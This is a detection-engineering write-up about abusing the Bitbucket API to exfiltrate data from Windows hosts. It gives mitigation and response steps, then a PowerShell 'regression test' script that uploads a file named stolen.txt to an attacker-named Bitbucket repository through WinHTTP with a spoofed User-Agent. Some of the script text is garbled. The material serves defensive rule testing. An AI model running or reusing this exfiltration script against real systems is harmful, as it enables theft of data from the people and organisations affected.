Bitbucket API Abuse: A Simple Trick for Stealthy Data Theft

Summary

This proof of concept shows how a small C program can abuse the Bitbucket webhook API to exfiltrate host telemetry from a compromised Windows system. It collects details such as hostname, OS build, CPU information, and network adapter data, then hides the output inside the description field of a newly created webhook, blending into normal cloud traffic quietly.

Investigation

The author shares the full source, build steps, and sample curl requests to create, inspect, and delete the webhook used for leakage end-to-end. The compiled binary was executed on a Windows 10 x64 22H2 host in an ANY.RUN sandbox and transmitted data without obvious alerts. The write-up also notes similar Git platform abuse documented in recent APT activity.

Mitigation

Monitor outbound HTTPS to Bitbucket and other code hosts, and flag API calls that create webhooks unexpectedly or contain odd description text. Require strong authentication, limit and scope API tokens, apply least privilege, and audit repository configuration changes regularly.

Response

On detection, block outbound Bitbucket traffic from the host, revoke exposed API tokens, and inventory webhooks across repositories to remove malicious entries. Collect endpoint artifacts for forensics, scan for follow-on payloads, and rotate credentials for CI/CD and developer accounts.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  The simulated adversary has obtained a small data set (e.g., C:tempstolen.txt) and wishes to exfiltrate it to a private Bitbucket repository without raising suspicion. To blend in with legitimate development tools, the attacker chooses the native WinHTTP COM object (WinHttp.WinHttpRequest.5.1) because it is commonly present on Windows systems and directly invokes the WinHttpConnect and WinHttpSendRequest functions that the detection rule watches.

  1. Create a temporary file containing dummy exfil data.
  2. Instantiate the WinHTTP COM object.
  3. Open a POST connection to https://api.bitbucket.org/2.0/repositories/<team>/<repo>/src.
  4. Set appropriate headers (Authorization: Basic …, Content-Type: multipart/form-data).
  5. Send the file contents.
  6. Verify the HTTP 200 response.

  This exact sequence causes Sysmon to log a NetworkConnect event where the process is powershell.exe and the function chain includes WinHttpConnect and WinHttpSendRequest, satisfying the Sigma rule.

• Regression Test Script:

  
  # --------------------------------------------------------------
  # Bitbucket API Exfiltration via WinHTTP (Trigger Sigma Rule)
  # --------------------------------------------------------------
  $tempFile   = "C:tempstolen.txt"
  $repoOwner  = "evilcorp"
  $repoName   = "leaked-data"
  $username   = "eviluser"
  $appPassword = "APPPASSWD"   # Base64 of "username:appPassword"
  $authHeader = "Basic " + [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("$username:$appPassword"))
  
  # 1. Create dummy data if not present
  if (-not (Test-Path $tempFile)) {
      "Sensitive data collected by adversary" | Set-Content -Path $tempFile -Encoding UTF8
  }
  
  # 2. Build multipart/form-data payload
  $boundary = "----WebKitFormBoundary$(Get-Random -Maximum 999999)"
  $body = @"
  --$boundary
  Content-Disposition: form-data; name="files"; filename="$(Split-Path $tempFile -Leaf)"
  Content-Type: application/octet-stream

$(Get-Content $tempFile -Raw) –$boundary– “@

# 3. Initialise WinHTTP COM object
$winHttp = New-Object -ComObject "WinHttp.WinHttpRequest.5.1"

# 4. Open POST request
$url = "https://api.bitbucket.org/2.0/repositories/$repoOwner/$repoName/src"
$winHttp.Open("POST", $url, $false)   # synchronous request

# 5. Set required headers
$winHttp.SetRequestHeader("Authorization", $authHeader)
$winHttp.SetRequestHeader("Content-Type", "multipart/form-data; boundary=$boundary")
$winHttp.SetRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)")

# 6. Send payload (this triggers WinHttpConnect + WinHttpSendRequest)
$winHttp.Send($body)

# 7. Output response status for verification
Write-Host "HTTP Status:" $winHttp.Status
Write-Host "Response Body:" $winHttp.ResponseText
```

• Cleanup Commands:

  # Remove temporary file
  Remove-Item -Path "C:tempstolen.txt" -Force -ErrorAction SilentlyContinue
  
  # Optionally revoke the Bitbucket app password manually via web UI
  Write-Host "Cleanup complete. Remember to delete the uploaded file from the repository if needed."